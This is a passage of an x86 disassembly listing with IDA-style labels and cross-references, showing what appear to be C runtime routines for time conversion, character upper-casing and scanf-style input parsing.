sub_41D5A8+1Cj push esi jmp short loc_41D5F8 ; --------------------------------------------------------------------------- loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej cmp eax, 2 jnz short loc_41D5F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_41D5F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D606 ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj ; sub_41D5A8+43j push [ebp+arg_0] loc_41D5F8: ; CODE XREF: sub_41D5A8+27j push 0 push dword_48B684 nop call near ptr 284053Eh loc_41D606: ; CODE XREF: sub_41D5A8+24j ; sub_41D5A8+4Bj pop esi leave retn sub_41D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D6C5 cmp ebx, 8Ah jg loc_41D6C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43C054[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43BF70 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_43BF74, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_43BF78 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_4397AC, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_4397AC, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_4395A0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4397AC, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_4397AC, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_4397B0, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_4397B0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_4397AC, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_4397AC, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43B908 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_43B930 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_43B928 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_4395A0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_4397AC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_4397AC, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_4397AC, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_4397AC, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- 